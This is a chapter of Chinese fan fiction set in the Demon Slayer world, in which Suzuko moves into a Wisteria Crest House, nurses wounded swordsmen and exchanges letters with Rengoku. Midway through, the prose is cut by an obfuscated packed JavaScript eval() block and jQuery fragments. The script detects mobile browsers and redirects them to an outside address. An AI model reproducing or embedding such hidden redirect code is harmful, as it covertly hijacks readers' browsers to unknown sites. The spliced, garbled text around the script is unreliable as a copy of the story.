陌生男人的突然到来,让铃子见到了一个完全不一样的炼狱杏寿郎。
他健谈又语速极快,常常在别人话还没说完就做出定论,总是在很好地掌握谈话节奏。
是会让铃子感到不适的聊天方式。
但这样的反差,铃子还是第一次从炼狱杏寿郎身上感受到,这样的认知让她微微有些愣神。
炼狱杏寿郎为她介绍了这位,突然出现的,装着打扮特立独行又极致大胆,甚至让铃子忍不住抬起袖子微微遮挡视线的先生。
“铃子,这位是宇髓天元,和我一样是鬼杀队的柱。”
柱,铃子知道,千寿郎说过这个身份代表着强大。
少女闻言低下了头,脸颊微微发烫,长睫微微垂落,略带羞涩地将碎发挽在了耳后,本就娇艳的脸庞看上去越发惹人怜惜。
啊,听起来又是一位英武俊美的武士大人呢——
“但他已经娶了三位妻子了哦,铃子。”
不怀好意的猫头鹰先生微微颔首,故意用只有三人都能听清的声音说道。
……那真是可惜了,铃子我才不会做出奇怪的事情!
男人话音刚落铃子的眼神瞬间变得挑剔起来,上下扫了一眼宇髓天元,兴趣缺缺地移开了目光。
将小姑娘的一举一动收入眼帘的男人们乐不可支。
宇髓天元:“哈哈哈哈哈哈哈哈!炼狱,你家这位未免也太有意思了些。”
从未如此直接地被陌生男人如此当面评价,铃子别开眼抿唇不语,只是竖起耳朵默默听着。
接着炼狱杏寿郎和这位过于放荡的宇髓先生坐在她身旁聊了起来。
最初时宇髓先生的目光向她这里移了移,似乎有着某些顾虑,但很快又被杏寿郎的话语引开了注意力。
啊,杏寿郎确实有在很好地关注她的情绪呢。
完全不想和对方说话的铃子十分欣慰。
而从这位音柱大人出场开始,似乎作为一个奇妙的契机,铃子的生活似乎和鬼杀队密不可分起来。
——音柱和炎柱同时为她写了推荐信,让她入驻了紫藤花纹之家。
“啊啊,听起来确实是有些麻烦呢,炼狱你要不要考虑一下把她送到紫藤花纹之家去?”那位婚姻经验过于丰富的音柱大人这样说,“这位……铃子小姐?一直纠缠着日理万机的炎柱大人也会对我们的工作造成很大的困扰呢…既然炼狱都这么说了,不如你们做个约定吧?”
什么叫做纠缠?!
铃子生气极了。
这个三婚的无知男人到底在说些什么呢?!!!!
她硬生生压下了自己的怒火,耐着性子请教:“是关于什么的约定呢?”
明明眼睛看着她,宇髓天元却是一脸揶揄地朝炼狱杏寿郎努了努嘴:“如果九个月之后铃子小姐还留在紫藤花纹之家就可以了。”
怒火骤然熄灭,铃子美丽的眸子中只余疑惑。
炼狱杏寿郎适时为她介绍,紫藤花纹之家是由曾被鬼杀队拯救的平民家族组成,门口会刻紫藤花家纹作为标识;是不隶属于队本部、但遍布各地的无偿后勤据点,由于被鬼厌恶紫藤气息包围,使得这里天然安全。
铃子怔了怔。
只是在这样的地方等待九个月……?
连炼狱杏寿郎也少见地沉默了,微微低头看着铃子,不知为什么,铃子和他的目光对视一会后似乎感觉……他希望自己同意这件事。
为什么呢?
铃子带着疑惑的心情答应了下来。
之后的几天,炼狱杏寿郎很快又踏上了斩鬼的路途,铃子也被依依不舍的炼狱千寿郎带到了一座陌生的宅邸面前。
“呜呜呜,铃子小姐,如果想我们和大哥了,你随时可以回来啊,我们家离得很近的——”
铃子毫无留念地道别了。
哼,区区九个月!
矮小慈祥的白发婆婆笑眯眯地接待了铃子,并将她带去了新的房间。
小一小二甚至铃子都适应了这样频繁的搬迁,从善如流地装扮起他们新的住所。
此时铃子这才反应过来,自己似乎一直过着不太稳定生活。这两年来,她已经连续换了五次住所。
哎……没办法呀,看起来婚姻就是这样奇妙的经历呢。
不断搬迁,夫妻分居——铃子对此接受良好。
日夜不断有伤者鱼贯紫藤花纹之家,白发婆婆和小一小二日以继夜地忙碌,最开始不为所动的铃子,后来也时不时出现在受伤的鬼杀队剑士们面前。
许多剑士伤一见好就马不停蹄地冲到了白发婆婆那里——
“婆婆!请问那位、那位……”
他们面红耳赤地想起自己甚至没敢当面询问对方的姓名,只能支支吾吾地用贫瘠的词汇向笑眯眯的老人描述着她娇艳动人的长相。
傻乎乎的。
跟在他们身后气喘吁吁的铃子不解地如此评价。
在她眼前躺了许多天也没有问名字;身上的伤口还没好就到处乱跑;赞美她容颜时竟然没有一首像样的和歌——
比起风雅沉稳的杏寿郎不知差了多少呢。
明明整个紫藤花纹之家只有一位符合他们所说人选,白发婆婆还是像模像样地听完了剑士们的描述,紧接着笑眯眯地告诉他们:“那位是炎柱大人的家人。”
年轻气盛的剑士们:“……万万万万万分抱歉!”
对婆婆的高明回答一知半解的铃子很快就适应了新的生活,适应了每天大量出入紫藤花纹之家的剑士们,即便很久很久见不到那位俊美的武士大人,也没有多少失落感。
她的生活似乎变得充实了。
铃子时不时这样想。
源源不断的受伤剑士们扩大了铃子的社交圈子和知识面,她好奇又笨拙地跟随医生学习着先进的医学知识,勉强在紫藤花纹之家里面找到了自己感兴趣的事物。
但不知为何,她能感觉自己的生活中似乎总是时不时想起炼狱杏寿郎。
因为名为要的鎹鸦忠诚地,日复一日地将主人的信件送到。
铃子每每仔细阅读,并从中了解到炼狱杏寿郎斩鬼途中所经历的惊险故事,这让她分外惊喜。
她将阅读这些故事看作日常消遣。
但令她不解的是……</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17214251|197438||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
每一次,炼狱杏寿郎都会在最后询问她还停留在紫藤花纹之家吗?
铃子次次干脆答复:是呀。
杏寿郎真奇怪呢,如果不是这样的话,那只乌鸦要怎么找到她呢?
对鎹鸦了解甚少的铃子对杏寿郎有着足够的耐心,每天不厌其烦地回信。
*
“你们听说了吗?东京那边的紫藤花纹之家那位新来的炼狱小姐……”
“哎?你是说那位温柔清冷的炎柱夫人吗?我上次受伤就是她在旁边看护的!”
“什么?!你这家伙运气未免太好了点,我怎么听说那位可是很少出来看伤患的,我去了那么多次一次都没有遇到。”
“为什么是夫人?应该是妹妹吧?炼狱小姐看起来似乎还没到适婚年龄。”
“看长相发色,我觉得应该不是家人。但就算适婚也轮不到你吧!毕竟是炎柱大人家的小姐,长得还那么美丽……”
越来越多的鬼杀队剑士将关于铃子的消息传开,他们甚至不知道铃子的名字,但只要有一位幸运伤患在半夜睡梦中忍不住发出痛苦的低吟……
半夜被吵醒的铃子:盯——
夜黑风高,月影朦胧,阴森的古朴建筑里,虚弱低沉的呻吟痛呼此起彼伏,这对最近经受了鬼神之说方面的西洋文化冲击的铃子来说确实是一个巨大的挑战。
她本就浅眠,被惊醒后更是平白生了几许怒气,眉尖轻轻蹙起,带着几分没睡醒的倦意和一丝不耐。
长发松松地散在肩头,脸颊还带着睡梦中的浅红,眼尾微微泛红,水光濛濛,明明是恼意,落在这般娇艳的脸上,反倒成了惹人怜惜的模样。连呵斥的声音也带着刚醒的沙哑软糯,连抱怨都没什么力气,只轻轻抿着嫣红的唇,眼睫不耐烦地轻颤几下,垂眸时投下浅浅阴影。
面容娇艳的少女整个人裹在柔软寝衣里,倚靠着门框半坐起身,肩线纤细脆弱,明明是不悦,却半点凶气也无,反倒像只被扰了清梦的小猫,软乎乎地闹着脾气,看得人心里又软又痒,连愧疚都跟着涌了上来。
铃子高频率的出现让剑士们士气高涨。
但……这和铃子有什么关系呢?
“真是麻烦,为什么他们不直接去死呢?”
铃子真情实感地对婆婆抱怨着:“他们老是把自己弄得伤痕累累,然后又日夜不分时候地跑来敲门,这真是太过分了!”
“还不如死在外面,我们也能轻松些!”
而婆婆只是笑眯眯地告诉她:“没办法呢,毕竟都是些跟铃子差不多大的孩子,难免会有些粗心大意,没办法像强大的炎柱大人那样,次次都毫发无损地全身而退呢。”
“原来是这样……那就原谅他们吧。”她勉强接受了这个回答。
但在写给炼狱杏寿郎的信中,她还是将自己的疑惑和埋怨写了进去,并照例回复了自己依旧停留在紫藤花纹之家。
随后一连几天,铃子都没有收到回信。
恰好有知情的隐队员停留在紫藤花纹之家,他们告知她,炎柱大人接到了消息前去探查列车站了。
——那里似乎有强大的鬼出现了。